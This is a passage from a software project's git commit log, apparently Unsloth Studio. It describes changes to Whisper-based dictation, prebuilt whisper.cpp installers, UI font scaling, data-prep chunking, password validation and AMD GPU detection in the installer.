Windows, and pid adoption so the shutdown sweep reaps it; before this
it survived a Ctrl+C exit as an orphan still holding the model.

* Remove the dictation mic test from Voice settings

The composer dictate button covers the same check, so the test row, its
transcript panel, the unsupported fallback row, and their strings and
search entry are gone.

* Studio STT: gate GGUF whisper-server on training and fix dictation retry and dictionary edits

GGUF (whisper.cpp) sidecar:
- Launch whisper-server with --no-gpu while training is active, mirroring the Transformers sidecar's CPU device choice, so a mid-training dictation cannot reclaim the VRAM training just freed.
- Report is_loading() during whisper-server startup so training VRAM admission accounts for the accelerator memory it is about to bind.
- Require PyAV in is_available() so /audio/stt/status reports the engine unavailable when uploads cannot be decoded, instead of loading fine and then 501ing at transcription.
- Reject a missing model before decoding audio, matching the Transformers download preflight.

Voice settings:
- The download Retry button now restarts the download; the sidecar error is sticky until a new start(), so re-polling alone never cleared it.

Dictation dictionary:
- Tabbing from an emptied entry to its remove button no longer commit-splices the row first, which shifted indices and deleted the wrong entry.

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

* Studio STT: fix curated GGUF whisper filenames to match hosted repos

The unslothai/whisper-*-GGUF repos host the checkpoint as whisper-<id>.bin,
not ggml-<id>.bin, so every curated dictation download and cached-path
lookup 404'd and the whisper.cpp engine could never load a model. Point
GGML_STT_MODELS at the real filenames and guard the naming with a test.

* Studio STT: validate a custom dictation repo before downloading it

The Transformers STT engine accepts an arbitrary owner/model repo, but the
download route handed it straight to snapshot_download, pulling a possibly large
non-Whisper repository into the shared HF cache. Confirm the repo is a Whisper
checkpoint first with the existing metadata-only validate_remote_model (no
weights); curated ids short-circuit and the GGUF engine (curated-only) is
unaffected. A non-Whisper repo now 422s before any download.

* Studio STT: preempt a still-loading GGUF server for training admission

A whisper-server still in its startup window binds accelerator memory but has no
loaded_model yet, so training admission could miss it and launch into an OOM.
Make the GGUF startup cancellable (cancel_pending_load signals an abort event and
terminates the starting process without the load lock; _wait_for_server observes
it and raises SttLoadCancelledError; wait_for_load_to_settle blocks on the lock
until the killed server is reaped), and always fold the GGUF sidecar into the
resident-STT summary so a resident Transformers model cannot mask a loading GGUF
server. free_stt_model_for_training now cancels an in-flight load and waits for it
to settle before training claims the memory.

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

* Studio STT: fall back to Transformers when whisper-server is absent

A curated dictation model (including the default small) hard-pinned the GGUF
engine, but standard installs do not ship whisper-server, so every recording
501'd instead of using the Transformers engine that serves the same checkpoint
-- the GGUF sidecar's own documented contract. Add _resolve_serving_stt_engine:
a GGUF request for a curated id (the only ids GGUF accepts, all Transformers-
servable) downgrades to Transformers when whisper-server is unavailable, applied
consistently to download, load and transcribe (not unload, which targets a
specific engine). The Voice tab likewise falls back to the Transformers status so
the model is not shown unavailable and download is not blocked.

* Studio STT: hide custom Whisper caches from the legacy model pickers

The legacy /cached-models (and /cached-gguf) routes called is_hidden_model with
only the owner/model id, which cannot reach the config-based Whisper check, so a
downloaded custom (non-curated) Whisper checkpoint was still offered as a chat
model. Pass the cached snapshot path so _path_is_whisper_model inspects the repo
config and hides it, matching the discovery route.

* Studio STT: hide GGUF dictation repos, lock-free status, unload fallback, split training eviction

- Hide the curated GGUF dictation repos (unslothai/whisper-*-GGUF) from the chat
  model inventory and pickers, backend and frontend. Only their Transformers
  safetensors companions were hidden; the GGUF repos use a different org and a
  -GGUF suffix and carry a raw .bin with no whisper config.json, so they leaked
  into chat pickers.
- Make the GGUF sidecar loaded_model/device accessors lock-free, mirroring the
  Transformers sidecar. transcribe() holds self._lock across the whole inference
  call, so /audio/stt status polls and training admission previously blocked
  behind an in-flight transcription.
- stt_unload resolves through the serving resolver: a "gguf" pick on a host
  without whisper-server is served by the Transformers fallback, so unload must
  target that engine or the resident model is never freed. Unload also attempts
  every engine even if one raises, so a failure freeing one backend no longer
  skips the other.
- free_stt_model_for_training frees the Transformers and GGUF sidecars under
  independent exception boundaries so a failure unloading one no longer skips
  the other before training claims the memory.

Adds tests/test_stt_review_fixes.py covering all four.

* Studio STT: resolve Auto dictation language for the model engine + snapshot process liveness

- The model dictation adapter sent the raw setting (the literal "auto") to the
  backend, while the browser engine resolves Auto via resolveDictationLanguage.
  A batch of non-English voice notes came back mostly English on Auto. Add
  resolveModelDictationLanguage: only the literal "auto" is resolved to a
  concrete locale, gated so it becomes a language the model AND Whisper can
  honor (mirroring the backend's known-whisper-languages set); an explicit
  language, or a locale Whisper cannot honor, stays unchanged/auto-detect. Wire
  it into both adapter call sites.
- GgmlSttSidecar._process_alive() read self._process twice; a concurrent
  unload() nulls it under the lock while loaded_model/device read lock-free, so
  a null between the two reads called None.poll(). Snapshot once. Adds a
  deterministic regression test.

* studio: tighten comments and docstrings in the dictation modules

* studio: harden dictation model downloads, GGML readiness, and recording paths

Address review findings on the STT dictation feature:

- build_whisper_cpp.sh refuses to delete a whisper.cpp tree under a custom
  Studio home unless it carries the Studio ownership marker, matching the
  setup.sh policy, and marks trees it creates
- _snapshot_is_complete validates every shard of a sharded PyTorch
  (pytorch_model.bin.index.json) checkpoint like the safetensors path, and
  requires tokenizer assets (tokenizer.json or vocab.json + merges.txt)
- custom-repo downloads pin the revision resolved at validation time and
  restrict snapshot_download to the model/tokenizer/config/preprocessor file
  classes Studio loads
- the GGML sidecar holds its port reservation until just before spawning
  whisper-server and only accepts readiness from a responder that both looks
  like whisper.cpp's server and belongs to the still-running managed child,
  probing twice, so mic audio cannot be posted to a foreign local process
- the recording adapter transcribes every non-empty segment; the RMS meter
  only shapes segment boundaries and can no longer discard quiet speech
- Compare-pane dictation can cancel a pending transcription on second click,
  with the button relabeled while finalizing
- localStorage quota recovery halves the dictation history until the save
  fits, so small histories shrink too
- the System default TTS voice resolves to the platform default voice
- new dictation UI imports go through the chat and hub feature barrels

Regression tests cover the build-script gate, sharded PyTorch and tokenizer
completeness, revision pinning and allow patterns, and the whisper-server
readiness probe.

* Fix STT download and voice picker follow-ups

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

* Add dictation button regression coverage

* Studio: prebuilt whisper.cpp via the shared llama.cpp install core, slim bundles paired to the llama prebuilt (#7294)

* Studio STT: add prebuilt whisper.cpp (whisper-server) installer

New install_whisper_prebuilt.py downloads a per-platform whisper-server
bundle published by the unslothai/whisper.cpp prebuilt CI into the managed
whisper.cpp dir (build/bin/whisper-server) so local dictation needs no
compiler. Mirrors install_node_prebuilt.py / install_llama_prebuilt.py:
host + backend detection, sha256 pins (whisper_prebuilt_pins.json) as the
trust anchor, staging + install lock + atomic swap, traversal-safe extract,
co-located shared libs (RUNPATH=$ORIGIN), an UNSLOTH_WHISPER_PREBUILT_INFO.json
marker with idempotent "already matches", and exit codes 0/1/2/3. Not wired
into setup yet; the pins ship empty so every asset fails closed until the
first fork release is published and its digests are reviewed in.

* Studio STT: install prebuilt whisper.cpp during setup and update

Add a fail-open whisper.cpp block to setup.sh after the llama.cpp section so
`unsloth studio update` (and a fresh install) fetch the prebuilt whisper-server
into the managed whisper.cpp dir the sidecar discovers. It skips a user-set
WHISPER_SERVER_PATH/UNSLOTH_WHISPER_CPP_PATH, honors UNSLOTH_SKIP_WHISPER_INSTALL,
forwards the resolved ROCm gfx, and never aborts setup: a busy install keeps the
existing runtime, and an unavailable prebuilt stays quiet (source build is opt-in
via UNSLOTH_WHISPER_FORCE_COMPILE) since Transformers STT and browser dictation
remain. Register UNSLOTH_WHISPER_PREBUILT_INFO.json as Studio-owned evidence.

* Studio STT: harden whisper-server child env + WSL ROCm detection

- Sidecar spawns whisper-server with a scrubbed child env that prepends the
  binary dir (co-located GPU libs) to the loader path, and on WSL2 ROCm loads
  the system HIP first (HSA_ENABLE_DXG_DETECTION=1) so a bundle's bare-metal HIP
  does not segfault on /dev/dxg. Secret-bearing vars are dropped from the child.
- find_whisper_server_binary now requires an executable, not just a file.
- Installer rocm probe passes HSA_ENABLE_DXG_DETECTION and falls back to
  /opt/rocm/bin/rocminfo so a WSL ROCm host is not misdetected as CPU-only;
  gfx parsing skips the gfx000 CPU agent and generic ISA lines.
- Tests for the child env (secret scrub, lib dir, WSL HIP precedence), the
  executable check, and the WSL rocm detection.

* Studio STT: in-app whisper.cpp prebuilt update stack + ship pins in the wheel

Mirror the llama.cpp update stack for the whisper.cpp prebuilt so Studio can
detect and install a newer whisper-server release from inside the app:
- backend/utils/whisper_cpp_freshness.py: read UNSLOTH_WHISPER_PREBUILT_INFO.json
  and compare the installed release against the newest unslothai/whisper.cpp
  release. Whisper tags are v<upstream>-unsloth.<N>, so is_behind compares a
  (major, minor, patch, serial) key with a strict downgrade guard; 24h cache;
  fail-open.
- backend/utils/whisper_cpp_update.py: run install_whisper_prebuilt.py to fetch
  and atomically swap the newest bundle, unloading the warm GGUF sidecar first.
- backend/routes/whisper.py mounted at /api/whisper (update-status + update).
- pyproject: add whisper_prebuilt_pins.json to studio package-data so the
  installer's trust anchor ships in the wheel (it is a data file, not a .py
  module, so package discovery alone does not include it; node_prebuilt_pins.json
  is listed for the same reason). Without this a pip-installed wheel had no pins
  and the prebuilt install aborted to Transformers STT.
Adds test_whisper_cpp_freshness.py (version parser, is_behind matrix + downgrade
guard, marker layouts, stale decision, fail-open).

* Studio STT: verify whisper prebuilts via the release checksum index, like llama.cpp

Re-align the whisper.cpp prebuilt installer to install_llama_prebuilt.py's trust
model: instead of a committed whisper_prebuilt_pins.json, verify every download
against the release's own whisper-prebuilt-sha256.json checksum index, fetched
from the same GitHub release.

- parse_release_checksums / fetch_release_checksums / expected_sha256_for replace
  the pins layer. The index is validated for schema/component and that its
  release_tag matches the resolved release; an asset absent from it, a release
  that does not publish it, or a manifest sha256 that disagrees with it all fail
  closed to a source build.
- resolve_release_tag now resolves the newest published release at runtime (or an
  explicit --published-release-tag), matching llama and the freshness check;
  removed the pinned-default and the UNSLOTH_WHISPER_ALLOW_UNVERIFIED opt-in.
- Delete studio/whisper_prebuilt_pins.json and drop its pyproject package-data
  entry (nothing to ship now, same as llama which has no committed pins).
- Adds test_install_whisper_prebuilt_checksums.py (index parser, fail-closed on
  uncovered asset, tampered-manifest guard, newest-release resolution).

This is a same-origin checksum (integrity, not authenticity), identical to the
llama.cpp installer; pair releases with GitHub artifact attestations for provenance.

* Resolve whisper prebuilt release via the download host (no GitHub API)

Mirror install_llama_prebuilt.py's fast path: resolve the release tag from
the releases/latest redirect and fetch the manifest + checksum index from
constructed releases/download URLs, so the common install path makes zero
api.github.com calls (unauthenticated api.github.com is capped at 60 req/hour
per IP; the download host is not). Fall back to the GitHub API only on a 404,
malformed asset, or tag mismatch.

* Studio STT: coverage-aware whisper prebuilt selection via a shared core

whisper's select_artifact returned the first os/arch/backend manifest match and
ignored the SM-coverage fields the release manifest already carries, so a
Blackwell B200 (sm_100) was served cuda12-legacy (sms 50-61) -- runnable only via
forward PTX JIT. install_llama_prebuilt.py on the same host correctly picks
cuda13-newer.

Extract the coverage-aware selection into a shared, component-agnostic core under
studio/backend/utils/prebuilt/ (selection + GPU host-capability detection), lifted
from llama's linux_cuda_choice_from_release / _artifact_covers_sms / _sm_range and
generalised over a normalised artifact. whisper's HostInfo now records the GPU
compute caps + driver CUDA version (honoring CUDA_VISIBLE_DEVICES), and
select_artifact routes CUDA/ROCm through the shared selector: every visible SM
must be covered, the tightest-covering profile wins (Blackwell-aware runtime-line
ordering), ROCm matches the gfx target exactly, and an uncovered GPU falls back to
the CPU bundle. CPU/Metal/Vulkan keep first-match. The resolver JSON, exit codes,
and "already matches" contract are unchanged.

On the B200 the installer now resolves cuda13-newer, matching llama.

* Studio STT: gate whisper CUDA selection on the on-disk runtime, like llama

The prebuilt CUDA bundles are dynamically linked and intentionally do NOT ship
libcudart/libcublas -- they load the same runtime the host already has. So the
driver's advertised CUDA version is only an upper bound: a cuda13 bundle still
needs cuda13 runtime libraries present on disk. Port llama's on-disk runtime
scan (detected_linux_runtime_lines / detected_windows_runtime_lines) into the
shared core and intersect it with the driver-compatible lines in
select_cuda_attempts. A host with a cuda13 driver but only cuda12 runtime (e.g.
torch-cuda12) now correctly gets a cuda12 bundle instead of an unloadable cuda13
one; a host with no CUDA runtime at all falls back to CPU.

Fixes a glob bug in the port (any(Path(d).glob(p) for d in dirs) tests generator
truthiness, not a match) that made every major report present; add a real
filesystem test that exercises the scan.

* studio: harden shared prebuilt core to full llama parity

Apply the review findings on the shared coverage-aware prebuilt-consumer
core so whisper.cpp selection is exactly equivalent to the llama.cpp path.

hosts.py: port llama's CUDA_VISIBLE_DEVICES handling. A GPU hidden by an
index/UUID selector now reports has_usable_nvidia False instead of staying
usable, via supports_explicit_visible_device_matching plus the physical /
explicit-match branches, and _select_visible_rows now matches rows the way
llama does (index or UUID, gpu- prefix optional) and skips unmatched tokens
rather than keeping all rows. Adds the Linux /proc/driver/nvidia/gpus
fallback and has_physical_nvidia. Adds parse_macos_version.

runtime_libs.py: the Linux on-disk scan now requires the exact libcudart /
libcublas SONAME (libcudart.so.13), not a libcudart.so.13* glob, so a bare
versioned file without the SONAME symlink no longer counts as loadable.
Hardens the ldconfig parse against an empty left-hand side.

selection.py: fix the Blackwell/torch reordering so it keys on the covering
runtime lines (falls through to the torch preference when the covering lines
were filtered out), matching linux_cuda_choice_from_release. Corrects the
compatible_runtime_lines_for_driver docstring: the bundles do not ship the
CUDA runtime, so the driver version is only an upper bound and the caller
must intersect with the on-disk scan.

install_whisper_prebuilt.py: enforce a macOS artifact's min_os (new
HostInfo.macos_version) so a bundle that cannot load on the host OS version
is dropped. Keep resolver stdout to only the JSON line by leaving logs on
stderr in --resolve-prebuilt mode, and map an unexpected probe failure to
prebuilt_available False instead of a traceback.

Tests: new host-probe suite for the visible-device logic, exact-SONAME
runtime-scan cases, macOS min_os filtering, resolver stdout-only-JSON,
exit-code mapping, and the repo key.

* studio: fix whisper prebuilt selection + launch parity gaps from review

A parallel review surfaced integration defects where the whisper path could
select or launch a bundle that cannot run on a concrete host. Each is fixed to
match install_llama_prebuilt.py.

macOS min_os: the manifest labels macOS requirements as macos-<version>
(e.g. macos-14.0), which the version parser could not read, so the guard was a
no-op and a macOS-13 host would install the macos-14 Metal bundle. Strip the
platform prefix before parsing.

ROCm gfx detection: _detect_rocm_gfx returned the first gfx token and ignored
HIP_VISIBLE_DEVICES / ROCR_VISIBLE_DEVICES / CUDA_VISIBLE_DEVICES. Since exact
ROCm matching treats that token as the active GPU, a mixed APU + dGPU host
(gfx1151 + gfx1100) with HIP_VISIBLE_DEVICES=1 installed the wrong archive. Route
through a shared pick_rocm_gfx_target (lifted from llama) that parses per-GPU
sections and honors the visibility vars (empty / -1 -> no AMD GPU).

--rocm-gfx override: recording the arch without setting has_rocm left the host on
its CUDA/CPU path so the ROCm bundle was never picked. --rocm-gfx now implies
has_rocm and clears NVIDIA state, like llama's _apply_host_overrides.

CUDA launch env: a CUDA bundle ships the ggml CUDA backend but not
libcudart/libcublas, and the sidecar launch env exposed only the bundle dir, so
on a host whose CUDA runtime lives only in the PyTorch wheels the selection would
gate cuda usable but the server could not load it. Add the CUDA-from-PyTorch
runtime dirs to the child loader path for CUDA bundles (bundle dir still first),
mirroring binary_env.

Also normalize a manifest artifact's supported_sms defensively (parity with
llama's parser) and document that blackwell_min_toolkit_for_caps is retained for
the Phase B llama Windows path.

Not changed (verified parity, not defects): Linux/Windows min_os is enforced
nowhere in llama (macOS only); the resolver is optimistic about the checksum
index and the install path verifies.

* studio: tighten prebuilt-core code comments

* studio: lift shared prebuilt installer core out of the whisper installer

* studio: reuse the llama.cpp prebuilt installer machinery for whisper

* studio: unify llama and whisper prebuilt installers on a shared descriptor core

* studio: consolidate prebuilt installer tests into the shared core suite

Grow tests/studio/install/test_prebuilt_core.py from 62 to 164 tests so every
component-agnostic behavior runs against both descriptors: the full seven
profile CUDA release matrix (multi-GPU, on-disk runtime gating, shuffle
stability, missing SM metadata, dotted SM normalization, no-driver fallback
policy), the ROCm gfx family matrix, macOS min_os gating and its helper,
backend resolution incl. cpu-fallback precedence and Intel-mac auto detect,
checksum-index non-object and plain-lookup cases, the tar symlink/hardlink
extraction guards moved from the llama suite, and the compute-cap, visible
device, runtime-line and Blackwell helper value tables moved verbatim from
the llama characterization suites.

Delete only tests whose exact behavior the master now asserts for the same
component: 40 pure-alias helper cases in test_selection_logic.py (replaced by
value-identical master tables plus an alias-identity pin), 6 extraction moves
and the master-absorbed zip-symlink case in the llama logic suite, 3 routing
twins in test_rocm_support.py already pinned byte-for-byte in
test_selection_logic.py, the 2 Blackwell helper tables in the backend resolve
suite, 28 whisper logic tests and 10 whisper checksum tests re-asserted by
the master whisper parameterization. Wrapper wiring pins, the llama release
plan dialect, fingerprints and every llama-only behavior stay untouched.

* studio: dedupe sidecar and update helpers into the backend prebuilt package

* studio: chain whisper.cpp prebuilt updates onto the llama.cpp update flow

* studio: consume paired slim whisper prebuilts via the llama ggml runtime

* studio: serve every whisper backend from slim prebuilts

* studio: drop the whisper fat per-accelerator selection chain

unslothai/whisper.cpp releases are slim-only from v1.9.1-unsloth.2: one
ggml-less bundle per os/arch, paired to the llama.cpp prebuilt that provides
every ggml backend. Delete the whisper-side fat CUDA/ROCm/metal/vulkan
selection glue; keep slim selection + pairing, link_ggml_runtime, and one
legacy shape, the published fat CPU bundle of an explicitly pinned pre-slim
release. Exit 2 now reads as prebuilt unavailable (whisper never source
builds); setup already treats it that way.

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

* Wire libomp runtime DLL alongside ggml in slim whisper installs

llama's clang-built windows-arm64 ggml-base.dll imports
libomp140.aarch64.dll, shipped in the llama bundle but not a system DLL.
Without it next to whisper-server.exe the loader fails with
STATUS_DLL_NOT_FOUND before main. MSVC x64 links vcomp140.dll from
System32 and Linux ggml uses system libgomp.so.1, so only windows-arm64
was affected. The empty-runtime guard still requires a real ggml
library; libomp alone is not a pairing.

* studio: drop whisper-side fat-selection support structure

Slim whisper bundles are selected per os/arch only; all accelerator
capability comes from the installed llama.cpp prebuilt, whose installer
already did the coverage-aware selection. Remove the machinery that only
existed to pick among fat per-accelerator whisper bundles:

- prebuilt_core: delete the generic CUDA/ROCm coverage selection
  (select_cuda_artifact, select_rocm_artifact, ArtifactView adapters,
  detected_cuda_runtime_lines, the exact-SONAME linux probe) that no
  shipped component routes through; llama keeps its own selection chain
  and whisper shadows select_artifact with the slim-only version.
  select_artifact is now a plain os/arch/backend first-match.
- install_whisper_prebuilt: drop the HostInfo CUDA fields
  (compute_caps, driver_cuda_version, torch_runtime_line) and the torch
  runtime probe that populated them; nothing reachable reads them, and
  the resolver payload sources runtime_line from the artifact.
- whisper_cpp_update: delete the standalone start_update job worker;
  whisper applies only run as the chained phase of the combined
  llama+whisper update. The status payload keeps its job field (idle).
- routes/whisper: drop the progress logger that could never fire.
- tests: remove tests of the deleted paths and tests duplicating the
  descriptor-parameterized core suite or the llama freshness suite.

Contracts unchanged: resolver JSON keys, exit codes, marker fields,
pairing logs, and the pinned pre-slim fat CPU escape hatch.

* Address review feedback on the whisper prebuilt update and install paths

- Pin the chained whisper phase to the release the freshness check
  offered, so the download-host latest pointer cannot reinstall an
  older build in a loop
- Wire the whisper prebuilt install into setup.ps1 (Windows setup
  previously skipped it entirely)
- Treat a non-executable server or missing wired ggml libraries as a
  broken install instead of reporting already matches
- Keep whisper sidecar reloads out of the job-level reload flag and
  resync chat state after a partial chained update that unloaded llama
- Repoint home and profile vars for the whisper-server subprocess at a
  managed scratch dir and drop credential-store pointers
- Clear the prebuilt marker before the opt-in source build overwrite
- Write the prebuilt marker with explicit utf-8 encoding

* Tighten comments in the whisper prebuilt consumer

* Harden the Windows whisper setup phase and the chained update edges

- setup.ps1: honor WHISPER_SERVER_PATH / UNSLOTH_WHISPER_CPP_PATH /
  UNSLOTH_SKIP_WHISPER_INSTALL, run the custom-home ownership guard
  before the atomic install, and forward the release-tag pin and ROCm
  hints like setup.sh
- sidecar: a cpu-selected install launches whisper-server with --no-gpu
  (slim wiring links every llama backend, so the flag is what keeps a
  deliberate CPU choice off the GPU)
- chained update: leave whisper unpinned on macOS (the llama phase can
  walk back there, and a newest-tag pin could be an impossible pairing
  on every retry) and treat installer exit 2 as kept-existing-runtime
  instead of failing the combined job
- job.to_tag now comes only from the llama phase, so a whisper-only
  round cannot report a llama update that never ran

* Fix slim whisper runtime follow-ups

* Address remaining whisper update reviews

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

* Address remaining prebuilt update reviews

* Fix remaining chained update reviews

* Fix remaining whisper runtime review edges

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

---------

Co-authored-by: danielhanchen <unslothai@gmail.com>
Co-authored-by: pre-commit-ci[bot] <66853113+pre-commit-ci[bot]@users.noreply.github.com>
Co-authored-by: oobabooga <112222186+oobabooga@users.noreply.github.com>

---------

Co-authored-by: danielhanchen <danielhanchen@gmail.com>
Co-authored-by: pre-commit-ci[bot] <66853113+pre-commit-ci[bot]@users.noreply.github.com>
Co-authored-by: Unsloth <michaelhan@Michaels-MacBook-Pro.local>
Co-authored-by: oobabooga <112222186+oobabooga@users.noreply.github.com>
2026-07-23 01:39:03 -07:00
oobabooga
dbb06ff60e
Studio: add configurable model download location (#7274)
Adds a configurable Hugging Face model download cache location to Unsloth Studio, selectable from Settings, with per-cache download manifests, scoped deletion, and read-only inventory of previously selected caches.
2026-07-23 01:34:38 -07:00
oobabooga
88583dd2ec
Installer: restore interrupted updates and clean stale rollback environments (#7342)
* Installer: restore interrupted updates and clean stale rollback environments

* CI: run POSIX rollback lifecycle tests on Linux
2026-07-23 01:29:53 -07:00
Michael Han
8aaf2f78eb
Studio: drive UI font size through a typography scale instead of the root font size (#7359)
* Studio: drive UI font size through a typography scale, not the root font size

Follow up to #7355. The preference now writes --ui-font-scale
(selected / 16) and a data-ui-font-size attribute on the root instead
of mutating the root font size, and the applier clears any stale inline
root font-size left by older builds. Because the rem base never moves,
every layout-only rem-to-px conversion from #7355 is reverted to its
original form: the spacing, radius and container tokens, sidebar and
thread widths, grid tracks, calc margins and hub.css dimensions match
pre-#7355 main again, which also restores rem-based accessibility
scaling for users with a larger browser default font size.

Typography scales through tokens in index.css, all exact at 16px:

- The named Tailwind sizes (--text-xs through --text-4xl) multiply
  their defaults by the scale, so standard utilities scale
- One token per design px size (--text-ui-8 ... --text-ui-34) replaces
  every arbitrary text-[Npx] class; leading-ui-* mirrors the exact
  line heights and the numeric --leading-3..10 scale as well
- CSS font-size and line-height declarations multiply by the scale
- Chart labels scale through a .recharts-text rule; streamdown and
  react-flow px text is re-based via scaled overrides; KaTeX's 1px
  layout trick stays fixed by design
- The logo lockups keep their half-rate behavior via the scale var
- The explicit Code font size remains unmultiplied

Keeps the #7355 behavior fixes: color chip min width, voice select
min/max widths, and the select and dropdown menus scrolling an inner
viewport so their corners stay rounded. The whitespace-password and
IME rename guards that merged alongside are preserved.

* Studio: contract and Playwright coverage for the UI font size scale

test_ui_font_scale_contract.py pins the mechanism (scale var written,
root font size never mutated, tokens scaled, code font size not
multiplied, the Radix select viewport owning scroll state) and guards
against new raw pixel typography, with a documented allowlist for the
recharts fontSize props covered by the stylesheet override and the
offscreen clipboard textarea.

playwright_ui_font_scale.py drives the real appearance controls: root
font size fixed at 12/16/20, text and line height scale by size/16,
sidebar width invariant, explicit code font size stays fixed, an
overflowing dictation select scrolls its Radix viewport by keyboard
and wheel, and the default restores exactly. Wired into the UI smoke
workflow against the second studio boot.

The thinking-compact and descender contracts move back to the rem and
token forms now that layout values no longer need px pinning.
2026-07-23 01:26:56 -07:00
Daniel Han
5c3f56f1ef
Studio: fix Connections settings tab overflow in the settings dialog (#7241)
The API key and Connections form reused grid tracks that only collapse at the
viewport width, so inside the narrower settings pane the provider selector and
API key input were clipped. Switch the form to container queries so it responds
to the pane width and stacks to a single column when narrow. Other settings
tabs are unaffected.
2026-07-23 01:02:06 -07:00
Andrew Chen
ed26d87574
fix(dataprep): don't emit a degenerate chunk for empty text (#7183)
* fix(dataprep): don't emit a degenerate chunk for empty text

smart_chunk_text feeds empty / whitespace-only text (which tokenizes to
zero tokens) into the single-chunk branch, which unconditionally returns
one chunk. That yields a lone-EOS "document" (input_ids=[eos]) or, when
the tokenizer has no eos_token_id, a zero-length input_ids=[] — an
invalid sample that breaks a downstream collator/trainer.

load_from_file already guards against this with a ValueError, but
chunk_text, smart_chunk_text and load_from_files do not, so batch-loading
a directory that contains an empty file silently injects garbage rows.

Return no chunks when the tokenized text is empty, so empty inputs
contribute nothing instead of a degenerate sample. load_from_file keeps
its explicit ValueError (its guard runs first).

Co-Authored-By: Claude Opus 4.8 (1M context) <noreply@anthropic.com>

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

* Guard empty/whitespace text before tokenizing in raw_text

Real BPE/SentencePiece tokenizers emit tokens for spaces and newlines, so the len(tokens)==0 check let whitespace-only documents through as a degenerate lone-EOS sample. Guard on text.strip() before tokenizing (mirroring load_from_file), and raise in load_from_files when every file is empty so return_tokenized mode never falls back to a text-column dataset. Test now uses a whitespace-preserving tokenizer and covers both return_tokenized modes.

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

---------

Co-authored-by: Claude Opus 4.8 (1M context) <noreply@anthropic.com>
Co-authored-by: pre-commit-ci[bot] <66853113+pre-commit-ci[bot]@users.noreply.github.com>
Co-authored-by: Daniel Han <danielhanchen@gmail.com>
2026-07-23 00:56:51 -07:00
Daniel Han
127c69bcbb
Studio: guard project chat rename against IME composition keys (#7246)
The rename input only ignored the composition-confirming Enter, so on WebKit an
Escape that cancels an IME candidate also cancelled the rename. Move the
composition guard ahead of the key branch so both Enter and Escape are ignored
while a CJK candidate is being composed.
2026-07-23 00:45:28 -07:00
Michael Han
fa5498db0b
Studio: UI font size scales all text consistently without moving layout (#7355)
* Studio: make UI font size scale all text without moving layout

The UI font size setting changes the root rem base, so only rem sized
text reacted. Hundreds of px text classes, px font sizes in CSS, and
chart labels stayed fixed, while rem based padding, widths and radii
wrongly grew.

Convert all text sizes to rem so every font follows the setting, and
pin spacing, radius, container widths, sidebar and thread widths to px
so layout no longer follows the rem base. Library styles (streamdown,
react-flow) are re-based via overrides. All conversions are exact at
the default 16px root, so the default rendering is unchanged.

* Studio: keep logo at fixed size and fit tight controls at large UI fonts

The logo lockups (sidebar wordmark with beta badge, onboarding wizard)
are branding and now keep px sizes at any UI font size.

Two controls clipped their text at the largest setting: the appearance
color chips (fixed w-24) and the voice tab selects (fixed w-56). Both
use min widths now, so they keep the default look at 16px and only
grow when the text needs the room.

* Studio: keep dropdown corners rounded when the menu scrolls

A scrolling dropdown lost its rounded corners on the scrollbar side:
WebKit paints the surface square when the rounded element itself hosts
the scrollbar, which shows up in the desktop app whenever a menu
overflows, for example at larger UI font sizes.

Dropdown menu and select content now clip with overflow hidden and
scroll an inner viewport instead. The surface padding insets the
scrollbar clear of the curve, so corners stay rounded in every engine.
Submenus are unaffected since sub content is portaled.

* Studio: scale the logo lockups at half the UI font size rate

Rather than pinning the logo, the sidebar lockup (sticker, wordmark,
beta badge) and the onboarding lockup now follow the UI font size at
half the rate of the change: size = base + (root - 16px) / 2, written
as calc((base - 8)px + 0.5rem). A 4px font size change moves the logo
by 2px, and the default 16px root renders the exact base sizes.

* Studio: address review feedback on leading, grid tracks and select scrolling

Numeric leading utilities (leading-3 through leading-10) derive from
--spacing, so pinning spacing to px also froze their line-heights while
the paired text sizes now scale. Define them as rem theme tokens so
line-height follows the UI font size again; values are identical at the
16px default.

Convert the grid tracks the rem-to-px codemod missed (rem followed by
an underscore escaped the word boundary): the response details label
column and the on-device folder rows.

Make the Radix select viewport the bounded scroller instead of a
wrapper div, so Radix's scroll handling and the browser scroll the same
element. Restore the app's thin scrollbar with an inline style, which
beats the scrollbar hiding stylesheet Radix injects at runtime.

* Studio: cap voice select widths and update CI contracts
2026-07-23 00:44:42 -07:00
Nilay
13c7db1965
Studio: reject whitespace-only passwords (#7341)
* Studio: reject whitespace-only passwords

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

* Studio: reject any whitespace in passwords

* Studio: surface whitespace error in setup form, isolate auth test import

---------

Co-authored-by: pre-commit-ci[bot] <66853113+pre-commit-ci[bot]@users.noreply.github.com>
Co-authored-by: Daniel Han <danielhanchen@gmail.com>
2026-07-23 00:44:37 -07:00
Leo Borcherding
430ada617a
installer: fix false "no GPU detected" on AMD hosts (dead KFD check) + clearer ROCm-less warning (#7314)
* installer: fix Linux AMD GPU detection + actionable ROCm-less warning

The rocminfo/amd-smi-less fallback in _has_amd_rocm_gpu keyed on a
/gpu_id/ line inside each KFD node's properties file, but gpu_id is a
separate sibling sysfs file and never appears in properties. The guard
never matched, so the fallback missed every AMD host without ROCm
tooling (e.g. a fresh CachyOS/Arch box) and reported 'no GPU detected'
despite vendor_id 4098 being present in the KFD topology.

Detect via vendor_id == 4098 directly: the KFD CPU node reports
vendor_id 0, so any 4098 node is an AMD GPU, while NVIDIA's KFD nodes
report 4318 and stay excluded.

Also rework the 'ROCm version could not be determined' warning into an
actionable message (install the ROCm/HIP SDK; Arch/CachyOS:
rocm-hip-sdk) so ROCm-less users know the concrete next step instead of
silently landing on CPU-only PyTorch.

* tests: replace the FNR==1 KFD invariant with the per-line vendor_id check

The FNR==1 reset guarded the old paired gpu_id+vendor_id awk against
cross-node state leakage. The new detection is a single atomic
vendor_id==4098 line condition, so there is no per-node state to reset;
assert the new invariant instead (single-line vendor match, and no
/gpu_id/ pattern, which never matched inside properties).

tests/studio/install/test_rocm_support.py: 344 passed, 2 skipped.

